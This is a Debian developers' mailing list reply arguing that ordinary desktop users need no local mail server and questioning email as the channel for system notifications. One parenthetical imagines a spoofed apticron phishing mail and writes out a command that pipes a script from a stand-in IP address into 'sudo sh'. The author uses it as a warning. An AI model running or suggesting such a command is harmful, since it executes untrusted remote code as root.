On 28/05/13 16:42, Thomas Goirand wrote: > On 05/28/2013 08:05 PM, Simon McVittie wrote: >> I'm quite prepared to believe that *our* Unix systems - and in >> particular, servers and development machines - need an MTA, but my >> parents' laptops really shouldn't need one. > > Are you saying that they don't know what a mail server is, but they > installed Debian on their own, and made the choice of Debian as well on > their own?
I didn't say that, but as it happens, yes they've installed Debian on at least one laptop. Without my influence it would probably have been Ubuntu instead of Debian. > Your parents don't read mail? That is surprising to me. In this days > and age, everyone does. They read mail received on a remote server (mine, their ISP's, or Google's) via IMAP or webmail (or possibly POP3, if I hadn't advised them not to use that). It has nothing to do with the local machine's MTA (or lack of). In principle I suppose Icedove could start up with a "local mbox" account pre-configured... but is that really where users would/should expect to find system notifications? I suspect we only use email as a system-level notification mechanism because "it's how Unix has always worked". How much sense does it really make to have potentially security-sensitive messages from the local machine, whose content you ought to be able to trust, turn up in the same place as "postcards from the Internet"? (Writing that makes me wonder about the phishing potential of spoofing mails from, say, apticron. "To upgrade these packages, simply type: 'curl http://198.51.100.6/dist-upgrade | sudo sh'"?) > Can't you configure their system to send *you* the system > notifications so that you can fix a problem? I could, but for machines where it isn't really needed, life's too short to set up the necessary TLS/SASL to get root mail off the system without leaking its contents (and a SMTP password) to everyone on the same coffee shop wifi. Receiving root mail isn't going to change my advice ("update packages when the system tells you to, and tell me if things stop working"), is one more non-user-visible feature to monitor and keep working, and the majority of user-level brokenness (e.g. browser plugins out of date, applications crashing) isn't visible at a system level anyway. > On 05/28/2013 08:05 PM, Simon McVittie wrote: >> Ideally, we can have a sensible default that is suitable for both >> experts and non-experts; but if we can't, then the non-experts should >> probably have priority. > > I'm not sure I agree with the above. I'm fine with Debian being the OS > for the experts. That's a shame; I think it should be for everyone (including, but not limited to, experts). S -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/51a5aaf2.9000...@debian.org
